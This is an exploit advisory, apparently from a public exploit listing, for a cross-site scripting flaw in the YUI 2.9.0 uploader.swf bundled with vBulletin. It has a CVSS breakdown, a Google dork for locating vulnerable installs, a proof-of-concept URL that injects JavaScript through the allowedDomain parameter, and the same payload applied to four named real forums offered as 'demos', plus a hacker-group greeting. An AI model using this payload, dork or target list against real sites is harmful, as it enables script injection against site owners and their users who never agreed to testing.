vBulletin YUI 2.9.0 Cross Site Scripting

2014.01.11
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

[+] Author: TUNISIAN CYBER [+] Exploit Title: vBulletin YUI 2.9.0 Cross Site Scripting vulnerability [+] Date: 09-01-2014 [+] Category: WebApp [+] Google Dork: :inurl:"clientscript/yui/uploader/assets/" [+] Tested on: KaliLinux [+} Friend's blog: www.na3il.com ######################################################################################## +Description: YUI is a free, open source JavaScript and CSS library for building richly interactive web applications. Used by vBulletin. +Exploit: YUI suffers from an xss vulnerability. +P.O.C: 127.0.0.1/[PATH]/clientscript/yui/uploader/assets/uploader.swf?allowedDomain=\"})))}catch(e){alert%20(/XSS/);}//#sthash.QHn96SD4.dpuf Demo: http://fansfoot.com/forum/core/clientscript/yui/uploader/assets/uploader.swf?allowedDomain=\%22})))}catch(e){alert%20(/XSS/);}//#sthash.QHn96SD4.dpuf http://www.liveworkshop.com/forums/core/clientscript/yui/uploader/assets/uploader.swf?allowedDomain=\%22})))}catch(e){alert%20(/XSS/);}//#sthash.QHn96SD4.dpuf http://www.mjjcommunity.com/forum/clientscript/yui/uploader/assets/uploader.swf?allowedDomain=\%22})))}catch(e){alert%20(/XSS/);}//#sthash.QHn96SD4.dpuf http://www.wivesbehindthebadge.org/forums/clientscript/yui/uploader/assets/uploader.swf?allowedDomain=\%22})))}catch(e){alert%20(/XSS/);}//#sthash.QHn96SD4.dpuf Patch: Upgarde to 3.X Version. ./3nD ######################################################################################## Greets to: XMaX-tn, N43il HacK3r, XtechSEt Sec4Ever Members: DamaneDz UzunDz GEOIX ########################################################################################

References:

http://cxsecurity.com/issue/WLB-2014010042


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